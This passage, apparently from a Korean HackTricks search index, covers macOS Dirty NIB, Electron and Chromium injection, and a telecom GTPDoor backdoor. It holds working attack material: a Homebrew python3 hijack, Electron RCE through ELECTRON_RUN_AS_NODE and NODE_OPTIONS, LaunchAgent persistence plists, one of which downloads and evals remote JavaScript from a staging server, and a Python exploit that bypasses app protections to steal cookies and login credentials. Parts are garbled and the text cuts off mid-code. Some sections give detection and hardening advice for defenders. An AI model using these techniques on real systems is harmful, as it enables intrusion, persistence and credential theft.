**PYTHONHOME**과 같은 다른 환경 변수도 Python 명령이 임의의 코드를 실행하도록 만드는 데 유용할 수 있습니다. **pyinstaller**로 컴파일된 실행 파일은 내장 Python을 사용하더라도 이러한 환경 변수를 사용하지 않습니다. caution 전반적으로 환경 변수를 남용하여 Python이 임의의 코드를 실행하도록 만드는 방법을 찾을 수 없었습니다. 그러나 대부분의 사람들은 Homebrew 를 사용하여 Python을 설치하며, 이는 기본 관리자 사용자에게 쓰기 가능한 위치 에 Python을 설치합니다. 다음과 같은 방법으로 이를 탈취할 수 있습니다: mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old\\ncat > /opt/homebrew/bin/python3 <\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n 이로써 nib 로드 시 대상 프로세스에서 임의의 AppleScript 실행이 가능해진다. 고급 체인은 다음을 수행할 수 있다: 임의의 AppKit 클래스(예: NSTask)를 인스턴스화하고 -launch 같은 인수 없는 메서드를 호출한다. 위의 binding trick을 통해 객체 인수를 가진 임의의 selector를 호출한다. AppleScriptObjC.framework를 로드해 Objective‑C로 브리지하고 선택된 C API를 호출할 수도 있다. 여전히 Python.framework를 포함하는 구형 시스템에서는 Python으로 브리지한 다음 ctypes로 임의의 C 함수를 호출할 수 있다 (Sector7’s research). 앱의 nib 교체 target.app을 쓰기 가능한 위치로 복사하고, 예를 들어 Contents/Resources/MainMenu.nib을 악성 nib으로 교체한 다음 target.app을 실행한다. Pre‑Ventura에서는 일회성 Gatekeeper 평가 이후 후속 실행 시 얕은 서명 검사만 수행되어 비실행 리소스(예: .nib)는 재검증되지 않았다. Example AppleScript payload for a visible test: applescript set theDialogText to \\"PWND\\"\\ndisplay dialog theDialogText","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Dirty NIB » Dirty NIB injection process (attacker view)","id":"2349","title":"Dirty NIB injection process (attacker view)"},"235":{"body":"GTPDoor는 작은 ELF 서비스로, UDP 2123에 바인드하고 들어오는 모든 GTP-C 패킷을 파싱합니다 . 페이로드가 pre-shared tag로 시작하면, 나머지는 AES-128-CBC로 복호화되어 /bin/sh -c를 통해 실행됩니다. stdout/stderr는 Echo Response 메시지 내부로 exfiltrated되어 외부 세션이 전혀 생성되지 않습니다. 최소 PoC 패킷 (Python): python import gtpc, Crypto.Cipher.AES as AES\\nkey = b\\"SixteenByteKey!\\"\\ncmd = b\\"id;uname -a\\"\\nenc = AES.new(key, AES.MODE_CBC, iv=b\\"\\\\x00\\"*16).encrypt(cmd.ljust(32,b\\"\\\\x00\\"))\\nprint(gtpc.build_echo_req(tag=b\\"MAG1C\\", blob=enc)) 탐지: SGSN IPs로 unbalanced Echo Requests 를 보내는 모든 호스트 GTP version flag가 1로 설정되어 있고 message type = 1 (Echo)일 때 — 규격과의 편차","breadcrumbs":"Pentesting Network » Telecom Network Exploitation » 3. Code Execution over GTP – GTPDoor","id":"235","title":"3. Code Execution over GTP – GTPDoor"},"2350":{"body":"Apple은 현대 macOS에서 Dirty NIB의 실효성을 크게 줄이는 여러 전반적인 완화책을 도입했습니다: First‑launch deep verification and bundle protection (macOS 13 Ventura) 앱이 처음 실행될 때(격리(quarantined) 여부와 관계없이), 번들의 모든 리소스에 대해 심층 서명 검사가 수행됩니다. 이후 번들은 보호 상태가 되어 동일 개발자(또는 앱에서 명시적으로 허용한 경우)의 앱만 번들 내용을 수정할 수 있습니다. 다른 앱이 다른 앱의 번들에 쓰기하려면 새로운 TCC “App Management” 권한이 필요합니다. Launch Constraints (macOS 13 Ventura) System/Apple‑bundled 앱은 다른 위치로 복사하여 실행할 수 없게 되었습니다. 이는 OS 앱에 대해 \\"copy to /tmp, patch, run\\" 방식의 접근을 무력화합니다. Improvements in macOS 14 Sonoma Apple은 App Management를 강화하고 Sector7이 지적한 알려진 우회 기법들(예: CVE‑2023‑40450)을 수정했습니다. 또한 Python.framework는 이전(macOS 12.3)에서 제거되어 일부 권한 상승 체인을 깨뜨렸습니다. Gatekeeper/Quarantine changes 이 기법에 영향을 준 Gatekeeper, provenance 및 assessment 변경 사항에 대한 더 광범위한 논의는 아래 참조 페이지를 확인하십시오. Practical implication • Ventura 이상에서는 프로세스가 App Management 권한을 갖고 있거나 대상과 동일한 Team ID로 서명되지 않는 한, 일반적으로 타사 앱의 .nib를 수정할 수 없습니다(예: 개발자 도구). • 쉘/터미널에 App Management 또는 Full Disk Access를 부여하면 해당 터미널의 컨텍스트 내에서 코드를 실행할 수 있는 모든 것이 이 공격 표면을 사실상 다시 열게 됩니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Dirty NIB » 최신 macOS 보호 기능 (Ventura/Monterey/Sonoma/Sequoia)","id":"2350","title":"최신 macOS 보호 기능 (Ventura/Monterey/Sonoma/Sequoia)"},"2351":{"body":"Launch Constraints는 Ventura부터 기본 위치가 아닌 곳에서 많은 Apple 앱의 실행을 차단합니다. Apple 앱을 임시 디렉토리로 복사하고, MainMenu.nib를 수정한 뒤 실행하는 것과 같은 pre‑Ventura 워크플로에 의존했다면, macOS >= 13.0에서는 실패할 것으로 예상하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Dirty NIB » Launch Constraints 대응","id":"2351","title":"Launch Constraints 대응"},"2352":{"body":"UI가 nib‑driven인 앱 찾기: bash find /Applications -maxdepth 2 -name Info.plist -exec sh -c \\\\\\n\'for p; do if /usr/libexec/PlistBuddy -c \\"Print :NSMainNibFile\\" \\"$p\\" >/dev/null 2>&1; \\\\\\nthen echo \\"[+] $(dirname \\"$p\\") uses NSMainNibFile=$( /usr/libexec/PlistBuddy -c \\"Print :NSMainNibFile\\" \\"$p\\" )\\"; fi; done\' sh {} + 번들 내부에서 후보 nib 리소스를 찾기: bash find target.app -type f \\\\( -name \\"*.nib\\" -o -name \\"*.xib\\" \\\\) -print 코드 서명을 깊이 검증하세요(리소스를 변경했고 다시 서명하지 않았다면 실패합니다): bash codesign --verify --deep --strict --verbose=4 target.app 참고: 최신 macOS에서는 적절한 권한 없이 다른 앱의 번들에 쓰기를 시도하면 bundle protection/TCC에 의해 차단됩니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Dirty NIB » 대상 및 nib 열거 (연구 / 레거시 시스템에 유용)","id":"2352","title":"대상 및 nib 열거 (연구 / 레거시 시스템에 유용)"},"2353":{"body":"번들 리소스의 파일 무결성 모니터링 설치된 앱의 Contents/Resources/*.nib 및 기타 비실행 리소스에 대한 mtime/ctime 변경 감시 통합 로그 및 프로세스 동작 GUI 앱 내부에서 예상치 못한 AppleScript 실행 및 AppleScriptObjC 또는 Python.framework을 로드하는 프로세스 감시. 예: bash log stream --info --predicate \'processImagePath CONTAINS[cd] \\".app/Contents/MacOS/\\" AND (eventMessage CONTAINS[cd] \\"AppleScript\\" OR eventMessage CONTAINS[cd] \\"loadAppleScriptObjectiveCScripts\\")\' 사전 점검 중요한 앱에 대해 주기적으로 codesign --verify --deep를 실행하여 리소스가 온전한지 확인 권한 컨텍스트 누가/무엇이 TCC의 “App Management” 또는 Full Disk Access 권한을 갖고 있는지 감사(특히 터미널과 관리 에이전트). 일반‑목적 셸에서 이러한 권한을 제거하면 쉽게 Dirty NIB‑스타일 변조를 재활성화하는 것을 방지할 수 있음","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Dirty NIB » 탐지 및 DFIR 팁","id":"2353","title":"탐지 및 DFIR 팁"},"2354":{"body":"가능하면 프로그래밍 방식 UI를 사용하거나 nib에서 인스턴스화되는 것을 제한하세요. nib 그래프에 강력한 클래스(예: NSTask)를 포함하지 말고 임의 객체에 대해 셀렉터를 간접 호출하는 바인딩을 피하세요. Library Validation이 적용된 hardened runtime 채택(현대 앱에서는 이미 표준). 이것만으로 nib injection을 막을 수는 없지만, 네이티브 코드의 쉬운 로드를 차단해 공격자를 스크립트 전용 페이로드로 밀어넣습니다. 일반 목적 도구에서 광범위한 App Management 권한을 요청하거나 의존하지 마세요. MDM이 App Management를 요구하는 경우, 해당 컨텍스트를 사용자 주도의 쉘과 분리하세요. 앱 번들의 무결성을 정기적으로 검증하고 업데이트 메커니즘이 번들 리소스를 자동 복구(self‑heal)하도록 만드세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Dirty NIB » 방어적 하드닝 (개발자 및 방어 담당자)","id":"2354","title":"방어적 하드닝 (개발자 및 방어 담당자)"},"2355":{"body":"Learn more about Gatekeeper, quarantine and provenance changes that affect this technique: macOS Gatekeeper / Quarantine / XProtect","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Dirty NIB » Related reading in HackTricks","id":"2355","title":"Related reading in HackTricks"},"2356":{"body":"xpn – DirtyNIB (원본 설명, Pages 예시): https://blog.xpnsec.com/dirtynib/ Sector7 – Bringing process injection into view(s): nib 파일을 사용하여 모든 macOS 앱을 악용하기 (April 5, 2024): https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/ tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Dirty NIB » 참고 자료","id":"2356","title":"참고 자료"},"2357":{"body":"Reading time: 2 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Chromium Injection » macOS Chromium Injection","id":"2357","title":"macOS Chromium Injection"},"2358":{"body":"Chromium 기반 브라우저는 Google Chrome, Microsoft Edge, Brave 등입니다. 이러한 브라우저는 Chromium 오픈 소스 프로젝트를 기반으로 구축되었으며, 따라서 공통의 기반을 공유하고 유사한 기능 및 개발자 옵션을 가지고 있습니다. --load-extension 플래그 --load-extension 플래그는 명령줄이나 스크립트에서 Chromium 기반 브라우저를 시작할 때 사용됩니다. 이 플래그는 브라우저 시작 시 하나 이상의 확장 프로그램을 자동으로 로드 할 수 있게 해줍니다. --use-fake-ui-for-media-stream 플래그 --use-fake-ui-for-media-stream 플래그는 Chromium 기반 브라우저를 시작하는 데 사용할 수 있는 또 다른 명령줄 옵션입니다. 이 플래그는 카메라와 마이크로폰의 미디어 스트림에 접근하기 위한 권한을 요청하는 일반 사용자 프롬프트를 우회 하도록 설계되었습니다. 이 플래그가 사용되면 브라우저는 카메라나 마이크로폰에 대한 접근을 요청하는 모든 웹사이트나 애플리케이션에 자동으로 권한을 부여합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Chromium Injection » 기본 정보","id":"2358","title":"기본 정보"},"2359":{"body":"https://github.com/breakpointHQ/snoop https://github.com/breakpointHQ/VOODOO","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Chromium Injection » 도구","id":"2359","title":"도구"},"236":{"body":"","breadcrumbs":"Pentesting Network » Telecom Network Exploitation » 4. 코어를 통한 Pivoting","id":"236","title":"4. 코어를 통한 Pivoting"},"2360":{"body":"bash # Intercept traffic\\nvoodoo intercept -b chrome 더 많은 예시는 도구 링크에서 찾을 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Chromium Injection » 예시","id":"2360","title":"예시"},"2361":{"body":"https://twitter.com/RonMasas/status/1758106347222995007 tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Chromium Injection » 참고문헌","id":"2361","title":"참고문헌"},"2362":{"body":"Reading time: 14 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Electron Applications Injection » macOS Electron Applications Injection","id":"2362","title":"macOS Electron Applications Injection"},"2363":{"body":"Electron이 무엇인지 모른다면 여기에서 많은 정보를 찾을 수 있습니다 . 하지만 지금은 Electron이 node 를 실행한다는 것만 알면 됩니다. 그리고 node에는 지정된 파일 외에 다른 코드를 실행 하는 데 사용할 수 있는 매개변수 와 환경 변수 가 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Electron Applications Injection » Basic Information","id":"2363","title":"Basic Information"},"2364":{"body":"이 기술들은 다음에 논의될 것이지만, 최근 Electron은 이를 방지하기 위해 여러 보안 플래그 를 추가했습니다. 이것이 바로 Electron Fuses 이며, 이는 macOS에서 Electron 앱이 임의의 코드를 로드하는 것을 방지 하는 데 사용됩니다: RunAsNode : 비활성화되면 코드 주입을 위해 환경 변수 **ELECTRON_RUN_AS_NODE**의 사용을 방지합니다. EnableNodeCliInspectArguments : 비활성화되면 --inspect, --inspect-brk와 같은 매개변수가 무시됩니다. 이를 통해 코드 주입을 피할 수 있습니다. EnableEmbeddedAsarIntegrityValidation : 활성화되면 로드된 asar 파일 이 macOS에 의해 검증 됩니다. 이 파일의 내용을 수정하여 코드 주입 을 방지합니다. OnlyLoadAppFromAsar : 이 옵션이 활성화되면 다음 순서로 로드하는 대신: app.asar , app 및 마지막으로 default_app.asar . 오직 app.asar만 확인하고 사용하므로, embeddedAsarIntegrityValidation 퓨즈와 결합할 때 검증되지 않은 코드를 로드하는 것이 불가능 합니다. LoadBrowserProcessSpecificV8Snapshot : 활성화되면 브라우저 프로세스는 browser_v8_context_snapshot.bin이라는 파일을 V8 스냅샷으로 사용합니다. 코드 주입을 방지하지 않는 또 다른 흥미로운 퓨즈는: EnableCookieEncryption : 활성화되면 디스크의 쿠키 저장소가 OS 수준의 암호화 키를 사용하여 암호화됩니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Electron Applications Injection » Electron Fuses","id":"2364","title":"Electron Fuses"},"2365":{"body":"응용 프로그램에서 이 플래그를 확인할 수 있습니다 : bash npx @electron/fuses read --app /Applications/Slack.app Analyzing app: Slack.app\\nFuse Version: v1\\nRunAsNode is Disabled\\nEnableCookieEncryption is Enabled\\nEnableNodeOptionsEnvironmentVariable is Disabled\\nEnableNodeCliInspectArguments is Disabled\\nEnableEmbeddedAsarIntegrityValidation is Enabled\\nOnlyLoadAppFromAsar is Enabled\\nLoadBrowserProcessSpecificV8Snapshot is Disabled","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Electron Applications Injection » Checking Electron Fuses","id":"2365","title":"Checking Electron Fuses"},"2366":{"body":"As the docs mention , the configuration of the Electron Fuses are configured inside the Electron binary which contains somewhere the string dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX . In macOS applications this is typically in application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework bash grep -R \\"dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX\\" Slack.app/\\nBinary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches 이 파일을 https://hexed.it/ 에서 열고 이전 문자열을 검색할 수 있습니다. 이 문자열 뒤에는 각 퓨즈가 비활성화되었는지 활성화되었는지를 나타내는 ASCII 숫자 \\"0\\" 또는 \\"1\\"이 표시됩니다. 헥스 코드를 수정하여 퓨즈 값을 수정 할 수 있습니다 (0x30은 0이고 0x31은 1입니다). 이 바이트가 수정된 상태로 Electron Framework 바이너리 를 애플리케이션 내에서 덮어쓰려 하면 앱이 실행되지 않습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Electron Applications Injection » Electron 퓨즈 수정","id":"2366","title":"Electron 퓨즈 수정"},"2367":{"body":"Electron 앱이 사용하는 외부 JS/HTML 파일 이 있을 수 있으므로, 공격자는 이러한 파일에 코드를 주입하여 서명이 확인되지 않고 앱의 컨텍스트에서 임의의 코드를 실행할 수 있습니다. caution 그러나 현재 2가지 제한 사항이 있습니다: 앱을 수정하려면 kTCCServiceSystemPolicyAppBundles 권한이 필요 하므로 기본적으로 더 이상 가능하지 않습니다. 컴파일된 asap 파일은 일반적으로 퓨즈 embeddedAsarIntegrityValidation 및 **onlyLoadAppFromAsar**가 활성화되어 있습니다. 이로 인해 공격 경로가 더 복잡해지거나 불가능해집니다. kTCCServiceSystemPolicyAppBundles 요구 사항을 우회하는 것이 가능하다는 점에 유의하십시오. 애플리케이션을 다른 디렉토리(예: /tmp )로 복사하고, 폴더 **app.app/Contents**의 이름을 **app.app/NotCon**으로 변경한 후, 악성 코드로 asar 파일을 수정 하고 다시 **app.app/Contents**로 이름을 바꾼 다음 실행할 수 있습니다. 다음 명령어로 asar 파일에서 코드를 추출할 수 있습니다: bash npx asar extract app.asar app-decomp 그리고 수정한 후 다시 패킹하십시오: bash npx asar pack app-decomp app-new.asar","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Electron Applications Injection » RCE 전자 애플리케이션에 코드 추가","id":"2367","title":"RCE 전자 애플리케이션에 코드 추가"},"2368":{"body":"According to the docs , 이 환경 변수가 설정되면 프로세스가 일반 Node.js 프로세스로 시작됩니다. bash # Run this\\nELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord\\n# Then from the nodeJS console execute:\\nrequire(\'child_process\').execSync(\'/System/Applications/Calculator.app/Contents/MacOS/Calculator\') caution 만약 퓨즈 **RunAsNode**가 비활성화되어 있다면, 환경 변수 **ELECTRON_RUN_AS_NODE**는 무시되며, 이 방법은 작동하지 않습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Electron Applications Injection » RCE with ELECTRON_RUN_AS_NODE","id":"2368","title":"RCE with ELECTRON_RUN_AS_NODE"},"2369":{"body":"여기에서 제안된 대로 이 환경 변수를 plist에서 악용하여 지속성을 유지할 수 있습니다: xml \\n\\n\\n\\nEnvironmentVariables\\n\\nELECTRON_RUN_AS_NODE\\ntrue\\n\\nLabel\\ncom.xpnsec.hideme\\nProgramArguments\\n\\n/Applications/Slack.app/Contents/MacOS/Slack\\n-e\\nconst { spawn } = require(\\"child_process\\"); spawn(\\"osascript\\", [\\"-l\\",\\"JavaScript\\",\\"-e\\",\\"eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString(\'http://stagingserver/apfell.js\')), $.NSUTF8StringEncoding)));\\"]);\\n\\nRunAtLoad\\n\\n\\n","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Electron Applications Injection » 앱 Plist에서의 주입","id":"2369","title":"앱 Plist에서의 주입"},"237":{"body":"OsmoGGSN는 실제 GGSN/PGW를 향해 PDP context를 설정할 수 있는 SGSN 에뮬레이터를 제공합니다. 협상되면, Linux는 로밍 피어에서 접근 가능한 새로운 tun0 인터페이스를 받습니다. bash sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \\\\\\n-APN internet -c 1 -d\\nip route add 172.16.0.0/12 dev tun0\\nmicrosocks -p 1080 & # internal SOCKS proxy 적절한 firewall hair-pinning으로 이 터널은 signalling-only VLANs를 우회하여 직접 data plane 에 접근합니다.","breadcrumbs":"Pentesting Network » Telecom Network Exploitation » 4.1 sgsnemu + SOCKS5","id":"237","title":"4.1 sgsnemu + SOCKS5"},"2370":{"body":"페이로드를 다른 파일에 저장하고 실행할 수 있습니다: bash # Content of /tmp/payload.js\\nrequire(\'child_process\').execSync(\'/System/Applications/Calculator.app/Contents/MacOS/Calculator\'); # Execute\\nNODE_OPTIONS=\\"--require /tmp/payload.js\\" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord caution 만약 퓨즈 EnableNodeOptionsEnvironmentVariable 가 비활성화 되어 있다면, 앱은 env 변수 NODE_OPTIONS 를 무시하고 실행됩니다. 단, env 변수 ELECTRON_RUN_AS_NODE 가 설정되어 있지 않으면, 퓨즈 RunAsNode 가 비활성화된 경우에도 무시됩니다. ELECTRON_RUN_AS_NODE 를 설정하지 않으면, 다음과 같은 오류 를 발견하게 됩니다: Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Electron Applications Injection » RCE with NODE_OPTIONS","id":"2370","title":"RCE with NODE_OPTIONS"},"2371":{"body":"이 env 변수를 plist에서 악용하여 지속성을 유지하기 위해 다음 키를 추가할 수 있습니다: xml \\nEnvironmentVariables\\n\\nELECTRON_RUN_AS_NODE\\ntrue\\nNODE_OPTIONS\\n--require /tmp/payload.js\\n\\nLabel\\ncom.hacktricks.hideme\\nRunAtLoad\\n\\n","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Electron Applications Injection » 앱 Plist에서의 주입","id":"2371","title":"앱 Plist에서의 주입"},"2372":{"body":"According to this , if you execute an Electron application with flags such as --inspect , --inspect-brk and --remote-debugging-port , a debug port will be open so you can connect to it (for example from Chrome in chrome://inspect) and you will be able to inject code on it or even launch new processes. 예를 들어: bash /Applications/Signal.app/Contents/MacOS/Signal --inspect=9229\\n# Connect to it using chrome://inspect and execute a calculator with:\\nrequire(\'child_process\').execSync(\'/System/Applications/Calculator.app/Contents/MacOS/Calculator\') In 이 블로그 포스트 에서, 이 디버깅은 헤드리스 크롬이 임의의 파일을 임의의 위치에 다운로드 하도록 악용됩니다. tip 앱이 --inspect와 같은 환경 변수나 매개변수를 확인하는 고유한 방법이 있다면, --inspect-brk 인수를 사용하여 런타임에서 이를 우회 해 볼 수 있습니다. 이 인수는 앱의 시작 부분에서 실행을 중지 하고 우회(예: 현재 프로세스의 인수나 환경 변수를 덮어쓰기)를 실행합니다. 다음은 --inspect-brk 매개변수로 앱을 모니터링하고 실행함으로써, 그 앱이 가진 사용자 정의 보호를 우회할 수 있었던 익스플로잇입니다(프로세스의 매개변수를 덮어써서 --inspect-brk를 제거하고, 그런 다음 JS 페이로드를 주입하여 앱에서 쿠키와 자격 증명을 덤프하는 방식). python import asyncio\\nimport websockets\\nimport json\\nimport requests\\nimport os\\nimport psutil\\nfrom time import sleep INSPECT_URL = None\\nCONT = 0\\nCONTEXT_ID = None\\nNAME = None\\nUNIQUE_ID = None JS_PAYLOADS = \\"\\"\\"\\nvar { webContents } = require(\'electron\');\\nvar fs = require(\'fs\'); var wc = webContents.getAllWebContents()[0] function writeToFile(filePath, content) {\\nconst data = typeof content === \'string\' ? content : JSON.stringify(content, null, 2); fs.writeFile(filePath, data, (err) => {\\nif (err) {\\nconsole.error(`Error writing to file ${filePath}:`, err);\\n} else {\\nconsole.log(`File written successfully at ${filePath}`);\\n}\\n});\\n} function get_cookies() {\\nintervalIdCookies = setInterval(() => {\\nconsole.log(\\"Checking cookies...\\");\\nwc.session.cookies.get({})\\n.then((cookies) => {\\ntokenCookie = cookies.find(cookie => cookie.name === \\"token\\");\\nif (tokenCookie){\\nwriteToFile(\\"/tmp/cookies.txt\\", cookies);\\nclearInterval(intervalIdCookies);\\nwc.executeJavaScript(`alert(\\"Cookies stolen and written to /tmp/cookies.txt\\")`);\\n}\\n})\\n}, 1000);\\n} function get_creds() {\\nin_location = false;\\nintervalIdCreds = setInterval(() => {\\nif (wc.mainFrame.url.includes(\\"https://www.victim.com/account/login\\")) {\\nin_location = true;\\nconsole.log(\\"Injecting creds logger...\\");\\nwc.executeJavaScript(`\\n(function() {\\nemail = document.getElementById(\'login_email_id\');\\npassword = document.getElementById(\'login_password_id\');\\nif (password && email) {\\nreturn email.value+\\":\\"+password.value;\\n}\\n})();\\n`).then(result => {\\nwriteToFile(\\"/tmp/victim_credentials.txt\\", result);\\n})\\n}\\nelse if (in_location) {\\nwc.executeJavaScript(`alert(\\"Creds stolen and written to /tmp/victim_credentials.txt\\")`);\\nclearInterval(intervalIdCreds);\\n}\\n}, 10); // Check every 10ms\\nsetTimeout(() => clearInterval(intervalId), 20000); // Stop after 20 seconds\\n} get_cookies();\\nget_creds();\\nconsole.log(\\"Payloads injected\\");\\n\\"\\"\\" async def get_debugger_url():\\n\\"\\"\\"\\nFetch the local inspector\'s WebSocket URL from the JSON endpoint.\\nAssumes there\'s exactly one debug target.\\n\\"\\"\\"\\nglobal INSPECT_URL url = \\"http://127.0.0.1:9229/json\\"\\nresponse = requests.get(url)\\ndata = response.json()\\nif not data:\\nraise RuntimeError(\\"No debug targets found on port 9229.\\")\\n# data[0] should contain an object with \\"webSocketDebuggerUrl\\"\\nws_url = data[0].get(\\"webSocketDebuggerUrl\\")\\nif not ws_url:\\nraise RuntimeError(\\"webSocketDebuggerUrl not found in inspector data.\\")\\nINSPECT_URL = ws_url async def monitor_victim():\\nprint(\\"Monitoring victim process...\\")\\nfound = False\\nwhile not found:\\nsleep(1) # Check every second\\nfor process in psutil.process_iter(attrs=[\'pid\', \'name\']):\\ntry:\\n# Check if the process name contains \\"victim\\"\\nif process.info[\'name\'] and \'victim\' in process.info[\'name\']:\\nfound = True\\nprint(f\\"Found victim process (PID: {process.info[\'pid\']}). Terminating...\\")\\nos.kill(process.info[\'pid\'], 9) # Force kill the process\\nexcept (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):\\n# Handle processes that might have terminated or are inaccessible\\npass\\nos.system(\\"open /Applications/victim.app --args --inspect-brk\\") async def bypass_protections():\\nglobal CONTEXT_ID, NAME, UNIQUE_ID\\nprint(f\\"Connecting to {INSPECT_URL} ...\\") async with websockets.connect(INSPECT_URL) as ws:\\ndata = await send_cmd(ws, \\"Runtime.enable\\", get_first=True)\\nCONTEXT_ID = data[\\"params\\"][\\"context\\"][\\"id\\"]\\nNAME = data[\\"params\\"][\\"context\\"][\\"name\\"]\\nUNIQUE_ID = data[\\"params\\"][\\"context\\"][\\"uniqueId\\"] sleep(1) await send_cmd(ws, \\"Debugger.enable\\", {\\"maxScriptsCacheSize\\": 10000000}) await send_cmd(ws, \\"Profiler.enable\\") await send_cmd(ws, \\"Debugger.setBlackboxPatterns\\", {\\"patterns\\": [\\"/node_modules/|/browser_components/\\"], \\"skipAnonnymous\\": False}) await send_cmd(ws, \\"Runtime.runIfWaitingForDebugger\\") await send_cmd(ws, \\"Runtime.executionContextCreated\\", get_first=False, params={\\"context\\": {\\"id\\": CONTEXT_ID, \\"origin\\": \\"\\", \\"name\\": NAME, \\"uniqueId\\": UNIQUE_ID, \\"auxData\\": {\\"isDefault\\": True}}}) code_to_inject = \\"\\"\\"process[\'argv\'] = [\'/Applications/victim.app/Contents/MacOS/victim\']\\"\\"\\"\\nawait send_cmd(ws, \\"Runtime.evaluate\\", get_first=False, params={\\"expression\\": code_to_inject, \\"uniqueContextId\\":UNIQUE_ID})\\nprint(\\"Injected code to bypass protections\\") async def js_payloads():\\nglobal CONT, CONTEXT_ID, NAME, UNIQUE_ID print(f\\"Connecting to {INSPECT_URL} ...\\") async with websockets.connect(INSPECT_URL) as ws:\\ndata = await send_cmd(ws, \\"Runtime.enable\\", get_first=True)\\nCONTEXT_ID = data[\\"params\\"][\\"context\\"][\\"id\\"]\\nNAME = data[\\"params\\"][\\"context\\"][\\"name\\"]\\nUNIQUE_ID = data[\\"params\\"][\\"context\\"][\\"uniqueId\\"]\\nawait send_cmd(ws, \\"Runtime.compileScript\\", get_first=False, params={\\"expression\\":JS_PAYLOADS,\\"sourceURL\\":\\"\\",\\"persistScript\\":False,\\"executionContextId\\":1})\\nawait send_cmd(ws, \\"Runtime.evaluate\\", get_first=False, params={\\"expression\\":JS_PAYLOADS,\\"objectGroup\\":\\"console\\",\\"includeCommandLineAPI\\":True,\\"silent\\":False,\\"returnByValue\\":False,\\"generatePreview\\":True,\\"userGesture\\":False,\\"awaitPromise\\":False,\\"replMode\\":True,\\"allowUnsafeEvalBlockedByCSP\\":True,\\"uniqueContextId\\":UNIQUE_ID}) async def main():\\nawait monitor_victim()\\nsleep(3)\\nawait get_debugger_url()\\nawait bypass_protections() sleep(7) await js_payloads() async def send_cmd(ws, method, get_first=False, params={}):\\n\\"\\"\\"\\nSend a command to the inspector and read until we get a response with matching 